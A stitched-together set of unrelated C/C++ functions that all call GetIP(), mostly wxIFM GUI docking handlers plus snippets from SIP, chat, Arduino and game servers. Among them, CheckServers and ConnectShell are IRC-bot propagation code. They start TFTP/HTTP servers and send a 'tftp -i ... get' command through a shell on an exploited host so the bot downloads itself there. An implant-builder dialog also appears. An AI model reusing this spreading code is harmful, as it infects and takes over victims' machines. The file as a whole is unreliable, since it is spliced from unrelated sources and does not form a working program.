void wxIFMDefaultPlugin::OnHitTest(wxIFMHitTestEvent &event) { int coords = event.GetCoords(); wxIFMComponent *component = event.GetComponent(); if( component->m_hidden ) return; wxRect rect; const wxPoint &pos = event.GetPos(); switch(coords) { case IFM_COORDS_ABSOLUTE: rect = component->m_rect; break; case IFM_COORDS_BACKGROUND: { wxIFMRectEvent rectevt(wxEVT_IFM_GETBACKGROUNDRECT, component); GetIP()->ProcessPluginEvent(rectevt); rect = rectevt.GetRect(); break; } case IFM_COORDS_CLIENT: { wxIFMRectEvent rectevt(wxEVT_IFM_GETCLIENTRECT, component); GetIP()->ProcessPluginEvent(rectevt); rect = rectevt.GetRect(); break; } } if( rect.Inside(pos) ) event.SetPassed(); }
void wxIFMDefaultPlugin::OnGetMaxSize(wxIFMRectEvent &event) { wxIFMComponent *component = event.GetComponent(); wxASSERT_MSG(component, wxT("NULL component?")); if( !component ) return; // dont use this for now, it doesn't really work anyway #if 0 // if any child has a max size of IFM_NO_MAXIMUM_SIZE, there is no max size for the children // and we immediatley return with this components max size // if all children have a specified max size, return the cummulative total wxSize max_size, size; wxIFMComponent *child; const wxIFMComponentArray &children = component->m_children; for( wxIFMComponentArray::const_iterator i = children.begin(), end = children.end(); i != end; ++i ) { child = *i; wxIFMRectEvent maxevt(wxEVT_IFM_GETMAXSIZE, child); GetIP()->ProcessPluginEvent(maxevt); size = maxevt.GetSize(); if( size == IFM_NO_MAXIMUM_SIZE ) { event.SetSize(component->m_maxSize); return; } else { if( component->m_alignment == IFM_ALIGN_HORIZONTAL ) { max_size.x += size.x; if( size.y < max_size.y ) max_size.y = size.y; } else if( component->m_alignment == IFM_ALIGN_VERTICAL ) { max_size.y += size.y; if( size.x < max_size.x ) max_size.x = size.x; } } } #endif // client to absolute wxSize size = component->m_maxSize; if( size != IFM_NO_MAXIMUM_SIZE ) { wxIFMConvertRectEvent cvtevt(component, IFM_COORDS_CLIENT, IFM_COORDS_ABSOLUTE, wxPoint(), size); GetIP()->ProcessPluginEvent(cvtevt); size = cvtevt.GetSize(); } event.SetSize(size); }
void wxIFMDefaultPlugin::OnGetRect(wxIFMRectEvent &event) { wxIFMComponent *component = event.GetComponent(); wxEventType type = event.GetEventType(); // return wxRect(0,0,0,0) if we are hidden /* if( component->m_hidden ) { event.SetRect(wxRect(0,0,0,0)); return; } */ if( type == wxEVT_IFM_GETRECT ) { // return the rect event.SetRect(component->m_rect); } else if( type == wxEVT_IFM_GETBACKGROUNDRECT ) { // get the absolute rect first wxIFMRectEvent rectevt(wxEVT_IFM_GETRECT, component); GetIP()->ProcessEvent(rectevt); // use CONVERTRECT to go from absolute to background coords wxIFMConvertRectEvent evt(component, IFM_COORDS_ABSOLUTE, IFM_COORDS_BACKGROUND, rectevt.GetRect()); GetIP()->ProcessPluginEvent(evt); // return new rect event.SetRect(evt.GetRect()); } else if( type == wxEVT_IFM_GETCLIENTRECT ) { // get the absolute rect first wxIFMRectEvent rectevt(wxEVT_IFM_GETRECT, component); GetIP()->ProcessEvent(rectevt); // use CONVERTRECT to go from absolute to client coords wxIFMConvertRectEvent evt(component, IFM_COORDS_ABSOLUTE, IFM_COORDS_CLIENT, rectevt.GetRect()); GetIP()->ProcessPluginEvent(evt); // return new rect event.SetRect(evt.GetRect()); } #ifdef __WXDEBUG__ else wxFAIL_MSG(wxT("Unknown event type encountered")); #endif }
void wxIFMDefaultPlugin::OnUndock(wxIFMUndockEvent &event) { wxIFMComponent *component = event.GetComponent(); wxIFMComponent *parent = component->m_parent; wxASSERT_MSG(parent, wxT("Undocking a component with a null parent?")); // find the child within its parent's children list and remove it wxIFMComponentArray &children = parent->m_children; //for( int i = 0, count = parent->m_children.GetCount(); i < count; ++i ) for( wxIFMComponentArray::iterator i = children.begin(), end = children.end(); i != end; ++i ) { //if( children[i] == component ) if( *i == component ) { //children.RemoveAt(i); children.erase(i); break; } } // delete the parent if necessary if( event.GetDelete() && parent->m_children.GetCount() == 0 ) { #if IFM_CANFLOAT wxIFMFloatingData *floating_data = IFM_GET_EXTENSION_DATA(parent, wxIFMFloatingData); #endif // undock the parent from its parent first if( parent->m_docked ) { wxIFMUndockEvent evt(parent); GetIP()->ProcessPluginEvent(evt); } #if IFM_CANFLOAT else if( floating_data->m_floating ) { // if a component is not docked but is floating, that means its the root level component // of a floating window. It has no children left, so destroy the floating window. wxIFMDestroyFloatingWindowEvent evt(floating_data->m_window, true); GetIP()->AddPendingEvent(evt); } if( !floating_data->m_floating ) #endif { wxIFMDeleteComponentEvent delevt(parent); GetIP()->ProcessPluginEvent(delevt); } } component->m_docked = false; component->m_parent = NULL; }
void CheckServers(ADVSCAN scan) { char sendbuf[IRCLINE]; DWORD id; if(scan.exploit != -1) { if (exploit[scan.exploit].tftp == TRUE) { if (findthreadid(TFTP_THREAD) == 0) { TFTP tftp; tftp.threads=0; GetModuleFileName(0,tftp.filename,MAX_PATH); strncpy(tftp.requestname, filename, sizeof(tftp.requestname)-1); strcpy(tftp.chan, channel); tftp.notice = scan.notice; tftp.silent = FALSE; tftp.info = FALSE; tftp.socket = scan.sock; sprintf(sendbuf, "[tftp]: Server started on Port: %d, File: %s, Request: %s.", tftpport, tftp.filename, tftp.requestname); tftp.threadnum = addthread(sendbuf,TFTP_THREAD,NULL); strncpy(threads[tftp.threadnum].file,tftp.filename,sizeof(threads[tftp.threadnum].file)-1); threads[tftp.threadnum].port = tftpport; threads[tftp.threadnum].tHandle = CreateThread(NULL, 0, &tftpserver, (void *)&tftp, 0, &id); while (tftp.info == FALSE) Sleep(50); addlog(sendbuf); } } else if (exploit[scan.exploit].http == TRUE) { if (findthreadid(HTTP_THREAD) == 0) { char dirpath[MAX_PATH],*c; GetModuleFileName(0,dirpath,MAX_PATH); if ((c=strrchr(dirpath,'\\')) != NULL) *c='\0'; if ((HTTP_server(GetIP(scan.sock),httpport,dirpath,FALSE)) == -1) sprintf(sendbuf,"[http]: Server failed to start."); else sprintf(sendbuf,"[http]: Server started on IP: %s:%d, Directory: %s\\.", GetIP(scan.sock), httpport, dirpath); addlog(sendbuf); } } } return; }
void wxIFMDefaultPlugin::OnFloatingSize(wxIFMFloatingSizeEvent &event) { wxIFMFloatingWindowBase *base = event.GetWindow(); const wxRect &client_rect = base->GetWindow()->GetClientRect(); // set out root components desired size wxIFMRectEvent rectevt(wxEVT_IFM_SETDESIREDSIZE, base->GetComponent(), client_rect); GetIP()->ProcessPluginEvent(rectevt); // update our root component wxIFMUpdateComponentEvent updevt(base->GetComponent(), client_rect); GetIP()->ProcessPluginEvent(updevt); }
void wxIFMFloatingWindowBase::OnPaint(wxPaintEvent &WXUNUSED(event)) { // send BEGINPAINT message to get a DC with which to paint wxIFMBeginPaintEvent beginpaint(m_window); GetIP()->ProcessPluginEvent(beginpaint); wxDC *dc = beginpaint.GetDC(); wxASSERT_MSG(dc, wxT("Invalid DC returned by EVT_IFM_BEGINPAINT")); m_component->Paint(*dc, m_window->GetUpdateRegion()); // send ENDPAINT message to clean up the DC used to paint wxIFMEndPaintEvent endpaint(dc); GetIP()->ProcessPluginEvent(endpaint); }
void wxIFMDefaultPlugin::OnSetDesiredSize(wxIFMRectEvent &event) { wxIFMComponent *component = event.GetComponent(); wxASSERT_MSG(component, wxT("NULL component?")); if( !component ) return; wxSize size = event.GetSize(); // handle existing values if( size.GetWidth() == IFM_USE_CURRENT_VALUE ) size.SetWidth(component->m_desiredSize.GetWidth()); if( size.GetHeight() == IFM_USE_CURRENT_VALUE ) size.SetHeight(component->m_desiredSize.GetHeight()); // dont size below minimum or bigger than maximum sizes wxIFMRectEvent minevt(wxEVT_IFM_GETMINSIZE, component); GetIP()->ProcessPluginEvent(minevt); const wxSize &minsize = minevt.GetSize(); if( size.x < minsize.x ) size.x = minsize.x; if( size.y < minsize.y ) size.y = minsize.y; wxIFMRectEvent maxevt(wxEVT_IFM_GETMAXSIZE, component); GetIP()->ProcessPluginEvent(maxevt); const wxSize &maxsize = maxevt.GetSize(); if( size.x > maxsize.x && maxsize.x != IFM_NO_MAXIMUM ) size.x = maxsize.x; if( size.y > maxsize.y && maxsize.y != IFM_NO_MAXIMUM ) size.y = maxsize.y; // desired sizes are set in absolute coords but stored in client coords wxIFMConvertRectEvent cvtevt(component, IFM_COORDS_ABSOLUTE, IFM_COORDS_CLIENT, wxPoint(0,0), size); GetIP()->ProcessPluginEvent(cvtevt); size = cvtevt.GetSize(); component->m_desiredSize = size; // set desired floating size if possible #if IFM_CANFLOAT wxIFMFloatingData *data = IFM_GET_EXTENSION_DATA(component, wxIFMFloatingData); data->m_rect.SetSize(size); #endif }
void wxIFMDefaultPlugin::OnGetDesiredSize(wxIFMRectEvent &event) { wxIFMComponent *component = event.GetComponent(); // return the desired size wxSize size = component->m_desiredSize; // never size less than our minimum // FIXME: This case should never occur, so I assert when it does if( component->m_minSize.GetHeight() > size.GetHeight() ) { //wxFAIL_MSG(wxT("Desired size was smaller than minimum!")); size.SetHeight(component->m_minSize.GetHeight()); } if( component->m_minSize.GetWidth() > size.GetWidth() ) { //wxFAIL_MSG(wxT("Desired size was smaller than minimum!")); size.SetWidth(component->m_minSize.GetWidth()); } // desired sizes are stored in client coords, but absolute coords must be returned wxIFMConvertRectEvent evt(component, IFM_COORDS_CLIENT, IFM_COORDS_ABSOLUTE, wxPoint(0,0), size); GetIP()->ProcessPluginEvent(evt); event.SetSize(evt.GetSize()); }
void wxIFMDefaultPlugin::OnShowComponent(wxIFMShowComponentEvent &event) { wxIFMComponent *component = event.GetComponent(); wxASSERT_MSG(component, wxT("NULL component?")); if( !component ) return; bool show = event.GetShow(); // ensure all parents are visible // !\todo This is kind of inneficient, each parent will check its parents who check their parents... if( show ) { for( wxIFMComponent *parent = component->m_parent; parent; parent = parent->m_parent ) { if( !parent->IsShown() ) parent->Show(true, event.GetUpdate()); } } component->VisibilityChanged(event.GetShow()); if( event.GetUpdate() ) GetIP()->GetManager()->AddPendingUpdate(IFM_DEFAULT_RECT, true); }
bool ConnectShell(EXINFO exinfo) { int len; struct sockaddr_in shell_addr; char recvbuf[1024]; SOCKET sockfd; shell_addr.sin_family = AF_INET; shell_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list); shell_addr.sin_port = fhtons((unsigned short)exinfo.port);; if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == -1 ) return false; if (fconnect(sockfd, (struct sockaddr *)&shell_addr, sizeof(struct sockaddr)) == -1) return false; char mkdir_buff[400]=""; len = frecv(sockfd, recvbuf, 1024, 0); _snprintf(mkdir_buff, sizeof (mkdir_buff), "tftp -i %s get %s\n" "%s\n", GetIP(exinfo.sock),filename, filename); if (fsend(sockfd, mkdir_buff, sizeof(mkdir_buff)-1,0) == -1) return false; return true; }
__int64 MNetLink::GetMapKey() { __int64 nKey = GetRawPort(); nKey = nKey << 32; nKey += GetIP(); return nKey; }
void wxIFMDefaultPlugin::OnPaintBg(wxIFMPaintEvent &event) { wxIFMComponent *component = event.GetComponent(); // don't need to paint if we arent visible if( !component->IsVisible() ) return; // get background rect first, as the rect provided in the wxIFMPaintEvent // is the rect that needs painting, not the background rect wxIFMRectEvent rectevt(wxEVT_IFM_GETBACKGROUNDRECT, component); GetIP()->ProcessPluginEvent(rectevt); wxRect bgrect = rectevt.GetRect(); // paint normal bg //! \todo Globalize colour storage wxColour color(wxSystemSettings::GetColour(wxSYS_COLOUR_BTNFACE)); wxBrush brush(color); wxPen pen(color); wxDC &dc = event.GetDC(); dc.SetBrush(brush); dc.SetPen(pen); dc.DrawRectangle(bgrect); dc.SetPen(wxNullPen); dc.SetBrush(wxNullBrush); }
/** * class constructor */ CPocketSMDlg::CPocketSMDlg(CWnd* pParent /*=NULL*/) : CDialog(CPocketSMDlg::IDD, pParent) { //{{AFX_DATA_INIT(CPocketSMDlg) m_strEditView = _T(""); //}}AFX_DATA_INIT // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_nIPPort = 5060; m_pCSock = new CAsyncSocket(); //m_pCSock = NULL; m_strIPAddress = GetIP(); m_strUserName = _T(""); m_strSipSrvAddress = _T(""); m_strUserPart = _T(""); m_strSrvPart = _T(""); m_strPassword = _T(""); m_strAuthHdr = _T(""); m_strFTag = _T("ROGJ-01CMC-")+m_strIPAddress; m_nSipSrvPort = 5060; m_nFlag = m_nCounter = m_nCallID = 0; m_bDlgHide = false; m_bTrayIcon = false; m_bSetupOK = false; m_dlgSetup = new CSetupDlg(this); size=first=last=0; MSG_LIST_SIZE = 10; m_strEditMsg = _T(""); }
wxIFMComponent *wxIFMFloatingWindowBase::GetComponentByPos(const wxPoint &pos, wxIFMComponent *component) { if( !m_window->IsShown() ) return NULL; else return GetIP()->GetComponentByPos(pos, (component == NULL) ? m_component : component); }
DWORD WINAPI CMainDlg::DomainScanThread(LPVOID lparam) { ThreadParameter *par = (ThreadParameter *)lparam; CMainDlg *pThis = par->pThis; CString strDomain = par->strDomain; CString strIP, strHostName; strIP = GetIP(par->strDomain, strHostName); if (strIP != "") { par->strIP = strIP; par->strHostName = strHostName; if (pThis->m_checkGetDetailInfo) par->strServerInfo = GetServerDetailInfo(strDomain, par->strTitle); EnterCriticalSection(&pThis->cs); pThis->SendMessage(WM_ON_INSERT_RESULT, 0, (LPARAM)par);//OnMessageInsertResult LeaveCriticalSection(&pThis->cs); } EnterCriticalSection(&pThis->cs); ++pThis->m_nIpScanned; if (pThis->dwThreadsUsed) --pThis->dwThreadsUsed; ReleaseSemaphore(pThis->hSemaphore, 1, 0); LeaveCriticalSection(&pThis->cs); //delete par; return 0; }
static void JSONSettings(const KVPairs & key_value_pairs, FILE * stream_file) { ServeHeader(stream_file, 200, "OK", false, "text/plain"); IPAddress ip; fprintf(stream_file, "{\n"); #ifdef ARDUINO ip = GetIP(); fprintf_P(stream_file, PSTR("\t\"ip\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]); ip = GetNetmask(); fprintf_P(stream_file, PSTR("\t\"netmask\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]); ip = GetGateway(); fprintf_P(stream_file, PSTR("\t\"gateway\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]); ip = GetNTPIP(); fprintf_P(stream_file, PSTR("\t\"NTPip\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]); fprintf_P(stream_file, PSTR("\t\"NTPoffset\" : \"%d\",\n"), GetNTPOffset()); #endif fprintf_P(stream_file, PSTR("\t\"webport\" : \"%u\",\n"), GetWebPort()); fprintf_P(stream_file, PSTR("\t\"ot\" : \"%d\",\n"), GetOT()); ip = GetWUIP(); fprintf_P(stream_file, PSTR("\t\"wuip\" : \"%d.%d.%d.%d\",\n"), ip[0], ip[1], ip[2], ip[3]); fprintf_P(stream_file, PSTR("\t\"wutype\" : \"%s\",\n"), GetUsePWS() ? "pws" : "zip"); fprintf_P(stream_file, PSTR("\t\"zip\" : \"%ld\",\n"), (long) GetZip()); fprintf_P(stream_file, PSTR("\t\"sadj\" : \"%ld\",\n"), (long) GetSeasonalAdjust()); char ak[17]; GetApiKey(ak); fprintf_P(stream_file, PSTR("\t\"apikey\" : \"%s\",\n"), ak); GetPWS(ak); ak[11] = 0; fprintf_P(stream_file, PSTR("\t\"pws\" : \"%s\"\n"), ak); fprintf(stream_file, "}"); }
void LogonCommServerSocket::HandleAuthChallenge(WorldPacket & recvData) { unsigned char key[20]; uint32 result = 1; recvData.read(key, 20); // check if we have the correct password if(memcmp(key, LogonServer::getSingleton().sql_hash, 20)) result = 0; Log.Notice("LogonCommServer","Authentication request from %s, result %s.", GetIP(), result ? "OK" : "FAIL"); printf("Key: "); for(int i = 0; i < 20; ++i) printf("%.2X", key[i]); printf("\n"); recvCrypto.Setup(key, 20); sendCrypto.Setup(key, 20); /* packets are encrypted from now on */ use_crypto = true; /* send the response packet */ WorldPacket data(RSMSG_AUTH_RESPONSE, 4); data << result; SendPacket(&data); /* set our general var */ authenticated = result; }
void CChatConnect::Proc0_SomeoneChat(const void* pData, size_t size) { CHAT_SOMEONECHAT_CMD* pCsc = (CHAT_SOMEONECHAT_CMD*)pData; tagPlusSrcInfo* pSrcInfo = (tagPlusSrcInfo*)((BYTE*)pData + size) - 1; g_ChannelMgr.SomeoneChat(GetIP(), *pSrcInfo, pCsc); }
void CChatConnect::Proc0_ChannelChat(const void* pData, size_t size) { CHAT_CHANNELCHAT_CMD* pCcc = (CHAT_CHANNELCHAT_CMD*)pData; tagPlusSrcInfo* pSrcInfo = (tagPlusSrcInfo*)((BYTE*)pData + size) - 1; g_ChannelMgr.ChannelChat(GetIP(), *pSrcInfo, pCcc); }
int main( int pArgc, const char** pArgs ) { unsigned long lIP; int lIndex; int lNbBanners; char* lPathEnd; lPathEnd = strrchr( pArgs[0], '/' ); if( lPathEnd != NULL ) { *lPathEnd = 0; chdir( pArgs[0] ); } lNbBanners = GetBannerCount(); if( lNbBanners <= 0 ) { lIndex = 0; } else { srand( time( NULL ) ); lIndex = 1+(((unsigned)rand())%lNbBanners); } SetQueueEntry( GetIP(), lIndex ); PrintBanner( lIndex ); return 0; }
void pff_footer::print() { int ip = GetIP(); cout << "IP: " << (int)((unsigned char*)(&ip))[0] << "." << (int)((unsigned char*)(&ip))[1] << "." << (int)((unsigned char*)(&ip))[2] << "." << (int)((unsigned char*)(&ip))[3] <<endl; cout << "RESERVED: " << GetReserved() << endl; cout << "KING TAG: " << GetKingTag()[0] << GetKingTag()[1] << GetKingTag()[2] << GetKingTag()[3] << endl; }
int RequeteReservationBDEF(char* Fichier) { struct RequeteBDEF notreRequetePerso; int rc; notreRequetePerso.Type = Question; notreRequetePerso.Action = RESERVATION; notreRequetePerso.NumTransac = NumTransac; notreRequetePerso.Heure= GetTimeBDEF(); rc = SendDatagram(Desc, ¬reRequetePerso, sizeof(struct RequeteBDEF), &psoc); if (rc == -1) { perror("SendDatagram error"); } else { fprintf(stderr, "Envoi de %d bytes\n", rc); } rc = ReceiveDatagram(Desc, ¬reRequetePerso, sizeof(struct RequeteBDEF), &psor); if (rc == -1) { perror("ReceiveDatagram"); return -1; } else { fprintf(stderr, "bytes:%d:%d\n", rc, notreRequetePerso.NumeroTicket); if (notreRequetePerso.NumeroTicket > 0) { ReservationTicketBDEF(Fichier, GetIP(&psoo), GetPort(&psoo), NumTransac, notreRequetePerso.Heure, NULL); NumTransac++; } return notreRequetePerso.NumeroTicket; } }
void wxIFMDefaultPlugin::OnUpdate(wxIFMUpdateComponentEvent &event) { wxIFMComponent *component = event.GetComponent(); wxASSERT_MSG(component, wxT("NULL component?")); if( !component ) return; // invalidate the current (old)position component->GetParentWindow()->RefreshRect(component->m_rect); // size and position the component wxIFMRectEvent rectevt(wxEVT_IFM_SETRECT, component, event.GetRect()); GetIP()->ProcessPluginEvent(rectevt); // invalidate the current (new) position component->GetParentWindow()->RefreshRect(component->m_rect); // if this component is the root component of a floating window, set the floating windows size hints here #if IFM_CANFLOAT wxIFMFloatingData *data = IFM_GET_EXTENSION_DATA(component, wxIFMFloatingData); if( data && data->m_floating && !component->m_docked ) { wxSize min = component->GetMinSize(); // absolute to floating window coords wxIFMConvertRectEvent cvtevt(component, IFM_COORDS_ABSOLUTE, IFM_COORDS_FLOATINGWINDOW, wxPoint(0,0), min); GetIP()->ProcessEvent(cvtevt); const wxRect &rect = cvtevt.GetRect(); const wxSize min2(rect.width - rect.x, rect.height - rect.y); data->m_window->GetWindow()->SetSizeHints(min2.x, min2.y); // if the window is currently too small for the minimum size, make it bigger wxSize size = data->m_window->GetWindow()->GetClientSize(); if( size.x < min.x || size.y < min.y ) { if( size.x < min.x ) size.x = min.x; if( size.y < min.y ) size.y = min.y; data->m_window->GetWindow()->SetClientSize(size); } } #endif }
// //////////////////////////////////////////////////////////////////////////////// // @public 构造函数 // GenerateDlg::GenerateDlg(QWidget *parent) : QDialog(parent) , m_genThread(NULL) , m_waitDlg(NULL) { this->setWindowFlags(Qt::Dialog | Qt::WindowTitleHint | Qt::MSWindowsFixedSizeDialogHint); ui.setupUi(this); tab2 = ui.tabWidget->widget(1); QValidator* mask = new QRegExpValidator(QRegExp("[0-9]{1,8}")); ui.edtGroupId->setValidator(mask); m_ipMask = new QRegExpValidator(QRegExp("[0-9,\\.]+")); ui.edtIp->setValidator(m_ipMask); ui.edAlternateIp->setValidator(m_ipMask); QIntValidator* portMask = new QIntValidator(0, 65535); ui.edtPort->setValidator(portMask); ui.edtAlternatePort->setValidator(portMask); ui.lstPlatform->item(0)->setSelected(true); setWindowTitle(QString::fromLocal8Bit("生成植入模块 - Windows")); m_curSystem = L"WINDOWS"; connect(ui.btnOk, SIGNAL(clicked()), this, SLOT(GenerateTarget())); connect(ui.btnCancel, SIGNAL(clicked()), this, SLOT(reject())); connect(ui.lstPlatform, SIGNAL(itemClicked(QListWidgetItem*)), this, SLOT(PlatformChanged(QListWidgetItem*))); connect(ui.cmbIp1, SIGNAL(currentIndexChanged(int)), this, SLOT(ServerTypeChanged_1(int))); connect(ui.cmbIp2, SIGNAL(currentIndexChanged(int)), this, SLOT(ServerTypeChanged_2(int))); connect(ui.btnGetIP, SIGNAL(clicked()), this, SLOT(GetIP())); connect(ui.btnGetIP2, SIGNAL(clicked()), this, SLOT(GetIP())); connect(ui.chkRooted, SIGNAL(clicked()), this, SLOT(RootStatusChanged())); connect(ui.chkNotRooted, SIGNAL(clicked()), this, SLOT(RootStatusChanged())); connect(ui.chkLocal, SIGNAL(clicked()), this, SLOT(EnvironmentChanged())); connect(ui.chkRemote, SIGNAL(clicked()), this, SLOT(EnvironmentChanged())); EnvironmentChanged(); InitCustomGui(); m_waitDlg = new WaitDlg(this); m_waitDlg->hide(); InitCustomText(this); }
void wxIFMDefaultPlugin::OnPaintBorder(wxIFMPaintEvent &event) { wxIFMComponent *component = event.GetComponent(); // don't need to paint if we arent visible if( !component->IsVisible() ) return; // get background rect to draw borders around wxIFMRectEvent rectevt(wxEVT_IFM_GETBACKGROUNDRECT, component); GetIP()->ProcessPluginEvent(rectevt); // get border rect wxRect rect = rectevt.GetRect(); rect.y--; rect.x--; rect.width++; rect.height++; //! \todo Globalize colour storage //wxPen pen_light(wxSystemSettings::GetColour(wxSYS_COLOUR_BTNHIGHLIGHT)); //wxPen pen_dark(wxSystemSettings::GetColour(wxSYS_COLOUR_3DDKSHADOW)); wxPen border_pen(wxSystemSettings::GetColour(wxSYS_COLOUR_BTNSHADOW)); wxDC &dc = event.GetDC(); // paint borders // top if( component->m_borders.top ) { border_pen.SetWidth(component->m_borders.top); dc.SetPen(border_pen); dc.DrawLine(rect.x, rect.y, rect.x + rect.width, rect.y); } // left if( component->m_borders.left ) { border_pen.SetWidth(component->m_borders.left); dc.SetPen(border_pen); dc.DrawLine(rect.x, rect.y, rect.x, rect.y + rect.height); } // right if( component->m_borders.right ) { border_pen.SetWidth(component->m_borders.right); dc.SetPen(border_pen); dc.DrawLine(rect.x + rect.width, rect.y, rect.x + rect.width, rect.y + rect.height + 1); } // bottom if( component->m_borders.bottom ) { border_pen.SetWidth(component->m_borders.bottom); dc.SetPen(border_pen); dc.DrawLine(rect.x, rect.y + rect.height, rect.x + rect.width + 1, rect.y + rect.height); } }
/** Finds out if the host is on the except list. 1 if yes, 0 if no */ static int is_except_host(aClient *sptr) { char *host, *ip; DynList *d; if (!cfg.except_hosts) return 0; /* quick return */ host = sptr->user ? sptr->user->realhost : "???"; ip = GetIP(sptr) ? GetIP(sptr) : "???"; for (d=cfg.except_hosts; d; d=d->next) if (!match(d->entry, host) || !match(d->entry, ip)) return 1; return 0; }
void wxIFMFloatingWindowBase::AddPendingUpdate() { if( m_window->IsShown() ) { wxIFMUpdateComponentEvent updevt(m_component, m_component->m_rect); GetIP()->AddPendingPluginEvent(updevt); } }
void wxIFMFloatingWindowBase::Update(bool force) { if( m_window->IsShown() || force ) { wxIFMUpdateComponentEvent updevt(m_component, m_component->m_rect); GetIP()->ProcessPluginEvent(updevt); } }
void wxIFMFloatingWindowBase::OnMoving(wxMoveEvent &event) { wxIFMFloatingMoveEvent moveevt( (event.GetEventType() == wxEVT_MOVE ? wxEVT_IFM_FLOATING_MOVE : wxEVT_IFM_FLOATING_MOVING), this, event); if( !GetIP()->ProcessPluginEvent(moveevt) ) event.Skip(); }